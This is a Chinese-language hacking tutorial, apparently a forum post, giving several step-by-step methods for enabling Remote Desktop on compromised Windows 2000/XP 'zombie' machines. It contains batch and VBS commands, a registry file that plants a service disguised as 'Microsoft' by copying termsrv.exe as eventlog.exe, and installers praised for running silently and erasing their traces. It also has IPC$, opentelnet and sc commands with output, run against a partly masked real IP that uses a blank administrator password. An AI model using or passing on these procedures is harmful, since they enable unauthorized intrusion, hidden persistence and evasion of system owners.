1.打開記事本，編輯內(nèi)容如下：
echo [Components] > c:\sql
echo TSEnable = on >> c:\sql
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
編輯好后存為BAT文件，上傳至肉雞，執(zhí)行。這里值得注意的是要確定winnt是否在c盤，如果在其他盤則需要改動(dòng)。

2 (對(duì)xp\2000都有效) 腳本文件 本地開3389 工具:rots1.05
地址:www.netsill.com/rots.zip
使用方法：
在命令行方式下使用windows自帶的腳本宿主程序cscript.exe調(diào)用腳本，例如：

c:\>cscript ROTS.vbs <目標(biāo)IP> <用戶名> <密碼> [服務(wù)端口] [自動(dòng)重起選項(xiàng)]

服務(wù)端口： 設(shè)置終端服務(wù)的服務(wù)端口。默認(rèn)是3389。
自動(dòng)重起選項(xiàng)： 使用/r表示安裝完成后自動(dòng)重起目標(biāo)使設(shè)置生效。
使用/fr表示強(qiáng)制重起目標(biāo)。（如果/r不行，可以試試這個(gè)）
使用此參數(shù)時(shí)，端口設(shè)置不能忽略。
比如掃描到了一個(gè)有NT弱口令的服務(wù)器，IP地址是222.222.222.222，管理員帳戶是administrator，密碼為空
運(yùn)行CMD（2000下的DOS），我們給它開終端！
命令如下！
cscript reg.vbe 222.222.222.222 administrator "" 3389 /fr
上面的命令應(yīng)該可以理解吧？cscript reg.vbe這是命令，后面的是IP，然后是管理員帳戶，接這是密碼，因?yàn)?22.222.222.222 這臺(tái)服務(wù)器的管理員密碼是空的，那就用雙引號(hào)表示為空，再后面是端口，你可以任意設(shè)置終端的端口，/fr是重啟命令（強(qiáng)制重啟，一般我都用這個(gè)，你也可以 /r，這是普通重啟）

腳本會(huì)判斷目標(biāo)系統(tǒng)類型，如果不是server及以上版本，就會(huì)提示你是否要取消。
因?yàn)閜ro版不能安裝終端服務(wù)。
如果你確信腳本判斷錯(cuò)誤，就繼續(xù)安裝好了。

如果要對(duì)本地使用，IP地址為127.0.0.1或者一個(gè)點(diǎn)（用.表示），用戶名和密碼都為空（用""表示）。

腳本訪問的目標(biāo)的135端口，如果目標(biāo)135端口未開放，或者WMI服務(wù)關(guān)閉，那么腳本就沒用了。


3，下載3389自動(dòng)安裝程序-djshao正式版5.0
地址www.netsill.com/djshao.zip
說明：
解壓djshao5.0.zip,用你的隨便什么方法把把解壓出來的djxyxs.exe上傳到肉雞的c:\winnt\temp下，然后進(jìn)入c:\ winnt\temp目錄執(zhí)行djxyxs.exe解壓縮文件，然后再執(zhí)行解壓縮出來的azzd.exe文件，等一會(huì)肉雞會(huì)自動(dòng)重啟！重啟后會(huì)出現(xiàn)終端服 務(wù)！

特點(diǎn)：1、不用修改注冊(cè)表的安裝路徑，注冊(cè)表會(huì)自動(dòng)修改，安裝完后會(huì)自動(dòng)恢復(fù)到原來的安裝路徑，2、在后臺(tái)安靜模式運(yùn)行，就算肉雞旁有人也沒有關(guān)系！3、 在添加和刪除中看不出終端服務(wù)被安裝的痕跡，也就是啟動(dòng)終端前不會(huì)打鉤，4、不會(huì)在肉雞上留下你的上傳文件，在安裝完終端服務(wù)后會(huì)會(huì)自動(dòng)刪除你上傳到c: \winnt\temp下的任何文件！5、不管肉雞的winnt裝在什么盤上都無所謂！6、安裝完終端后會(huì)刪除在管理工具中的終端快捷圖標(biāo)！7、在沒有安 裝終端前，終端服務(wù)是被禁止的！安裝終端后，終端服務(wù)被改為自動(dòng)！但是如果在安裝前終端服務(wù)是手動(dòng)！安裝后就可能還是手動(dòng)！等重啟后就不會(huì)打開服務(wù)！所以 在軟件中加了sc指令，等安裝完后，不管終端服務(wù)是禁止還是手動(dòng)還是自動(dòng)，全部改為自動(dòng)。8、自動(dòng)檢測(cè)肉雞是不是服務(wù)器版，如果不是刪除原文件，不執(zhí)行安 裝，如果是服務(wù)器版就執(zhí)行安裝！9、支持中日韓繁四個(gè)版本的win2000服務(wù)器版！


4.下載DameWare NT Utilities 3.66.0.0 注冊(cè)版
地址www.netsill.com/dwmrcw36600.zip
安裝注冊(cè)完畢后輸入對(duì)方IP用戶名密碼，等待出現(xiàn)是否安裝的對(duì)話框點(diǎn)是。
復(fù)制啟動(dòng)后出現(xiàn)對(duì)方桌面。
在對(duì)方桌面進(jìn)入控制面版，點(diǎn)添加或刪除程序。進(jìn)入后點(diǎn)添加/刪除windows組件，找到終端服務(wù)，點(diǎn)際進(jìn)入后在啟動(dòng)終端服務(wù)上打上勾。確定自動(dòng)提示重起，重起后OK。


５.

首先我們制作開啟3389的工具
先把下面的注冊(cè)表內(nèi)容copy一份，另存為3389.reg注冊(cè)表文件
注冊(cè)表內(nèi)容：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
"Enabled"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ShutdownWithoutLogon"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"EnableAdminTSRemote"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"TSEnabled"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
"Start"=dword:00000002
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
"Hotkey"="1"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService]
"Start"=dword:00000002
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\
00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00
"ObjectName"="LocalSystem"
"Type"=dword:00000010
"Description"="Microsoft"
"DisplayName"="Microsoft"
再把下面的內(nèi)容保存為批處理文件3389.bat
安裝批處理內(nèi)容：
copy termsrv.exe eventlog.exe
regedit.exe /s 3389.reg
del 3389.reg
del 3389.exe
del 3389.bat
用winrar制作成exe自解壓縮包

61.188.***.*** user:administrato pass:空
先使用工具letmein判斷其操作系統(tǒng)
letmein \\ip -all -d
TsInternetUser (TsInternetUser)這個(gè)是2000的終端用戶，現(xiàn)在可以判斷其為2000server了
再使用終端登陸軟件看看他的3389是不是已經(jīng)開啟了免了費(fèi)事折騰
應(yīng)該沒有開啟了
建立ipc連接
copy工具過去
net use \\ip\ipc$ "pass" /user:name
copy file \\ip\admin$\system32
用opentelnet開對(duì)方的telnet
opentelnet \\ip name pass 1 99
用telnet進(jìn)入
進(jìn)入到對(duì)方的winnt\system32\
目錄
解壓縮3389.exe
運(yùn)行安裝批處理3389.bat
現(xiàn)在我們把對(duì)方重起一下，用reboot




7.

檢查對(duì)方是否真的禁用了Terminal server
C:\>sc \\xxx.xxx.xxx.xxx qc termservice
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: termservice
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 4 DISABLED
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Terminal Services
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
仔細(xì)看 START_TYPE一項(xiàng)，顯示對(duì)方該服務(wù)的啟動(dòng)模式為“DISABLED”也就是“禁用”。


C:\>sc \\xxx.xxx.xxx.xxx config termservice start= auto
[SC] ChangeServiceConfig SUCCESS
好了，現(xiàn)在我們已經(jīng)把對(duì)方終端服務(wù)的啟動(dòng)模式修改成自動(dòng)了。



再檢查一便對(duì)方終端服務(wù)的啟動(dòng)模式
C:\>sc \\TEST qc termservice
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: termservice
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Terminal Services
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem



啟動(dòng)對(duì)方的終端服務(wù)
C:\>sc \\xxx.xxx.xxx.xxx start termservice
SERVICE_NAME: termservice
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530


C:\>sc \\xxx.xxx.xxx.xxx query termservice
SERVICE_NAME: termservice
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0